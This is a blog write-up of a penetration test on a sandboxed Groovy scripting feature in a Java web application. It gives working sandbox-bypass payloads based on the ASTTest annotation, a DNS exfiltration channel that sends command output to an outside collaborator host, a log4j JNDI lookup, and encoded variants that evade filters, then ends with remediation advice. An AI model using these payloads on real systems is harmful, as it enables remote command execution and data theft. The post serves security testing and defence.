Groovy Template Engine Exploitation – Notes from a real case scenario

by Prapattimynk, Tuesday, 8 August 2023 (7 months ago)
Groovy Template Engine Exploitation – Notes from a real case scenario


Java web applications are far from dead in the enterprise world and with them often come multiple fancy RCE opportunities for attackers. In particular, template engines processing and expression languages capable features (Groovy, Velocity…) are usually a good place to start to discover this kind of vulnerabilities.

In one of our last penetration testing engagements for a customer, the target application allowed specific users to use a sandboxed Groovy scripting environment in order to populate some areas of the application with dynamic content. Since the same application had already undergone testing by a competitor, the capabilities of the Goovy shell were limited by some server-side checks and the attack vectors commonly used to achieve an easy Remote Command Execution were blocked (resulting in a generic Java exception).

So, no “calc.exe”.exec() nor “calc.exe”.execute() :

But also no:

java.lang.Runtime.getRuntime().exec("calc")
this.evaluate("'calc'.execute()")

So we tried to be creative and tested something more complex with reflection, trying also to access local files in addition to the usual RCE:

"aaa".getClass().forName("java.lang.Runtime").getDeclaredMethods()[15].invoke("calc.exe")
this.getClass().forName("java.io.File").getDeclaredMethods()[35].invoke(this.getClass().forName("java.io.File").getDeclaredConstructors()[5].newInstance("C:\windows\"))

Also NOPE :

Everything appeared blocked, including any straightforward method to access local files or web resources like:

new File('c:/windows/win.ini').text
new URL("http://www.google.com").getText()

So, we tried to be even more creative but most of our ideas required to instantiate new objects. Unfortunately after (more than) a couple of tries we realized that we couldn’t instantiate any new object, not just the “dangerous” ones (so no “new” keyword).

Consequently, we had to find another way to get the objects we needed!

We started investigating which objects were accessible by our scripting environment, to check if something useful could be found there. In this kind of environment, often the context of the script has access to juicy objects that leak additional information on backend resources. Some examples are the following:

– Info on the actual scripting environment

println "${Script.properties}"
println "${this.properties}"
println "${GroovyShell.properties}"

– Info on the system itself

println System.getProperty("user.name")
println System.getProperty("java.home")
println System.getProperty("java.runtime.version")

Since we couldn’t instantiate any new object, we started looking for already-instantiated objects accessible from our context. Our first try was to look at any java.lang.File objects present in our context, in order to maybe obtain configuration files or other juicy files, for example. Even better (but less likely) a ClassLoader object to load an arbitrary class. But no luck. Unfortunately, excluding some information on the underlying system, nothing was useful enough to achieve an RCE or file write/read.

However, all the tests we executed were not completely useless because they allowed us to understand that what blocked us was a Security Manager quite well-configured (and not some ad-hoc backend checks on blacklisted inputs).

So, we needed a way to bypass the Security Manager! And after multiple researches we found an interesting thread on StackOverflow and the referenced Github repository.

The suggested payload seemed very promising, since it used very basic Groovy syntax and did not require any exotic library:

@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")}) 
def x

The payload “as is” did not work (of course!) because in our specific scenario it required an import, easily fixable with import groovy.*; .

Aaaand BOOM! The sandbox was bypassed 😀  (good job welk1n ! you deserve way more glory for your work!)

We confirmed the remote command execution via DNS resolution (using BurpSuite collaborator server), since we weren’t able to read the output directly:

import groovy.*;

@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

A good way to retrieve the output of the injected commands via this out-of-band channel in our limited scenario is the following:

import groovy.*;

@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

A variation of the previous payload that does not use Java annotations (in case for any reason you cannot use them) but that requires to instantiate new objects is the following:

new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec("calc.exe")})def x")

There can be many other viable ways to achieve the same result, depending on what we can do with the scripting engine and also on which libraries are present. As an example on this latter point, if the notorious log4j library is present, we might try to achieve RCE using a payload like this one (not tested, it may contain errors):

org.apache.log4j.Logger.getLogger(this.getClass()).info("${jndi:ldap://malicioushost/a}"

To remediate the described vulnerability, since it’s very hard to prevent every possible attack vector, the safest solution is obviously to remove the Groovy scripting engine 😀  If this is not possible, a less radical approach would be to run the scripting engine on a different system, such as a sandboxed OS or a Docker container.

NB: The answer to this StackOverflow question to fix the vulnerability won’t work , since it’s almost always possible to bypass that kind of controls using encoding:

this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))

even without string literals:

this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

For the ones who managed to read the whole blog post and want to dig further in the Groovy “sorcery”, here you can find the official documentation.

Comments

Your email address will not be published. Required fields are marked *

Ads Blocker Image Powered by Code Help Pro

AdBlocker Detected!!!

We have detected that you are using extensions to block ads. Please support us by disabling these ads blocker.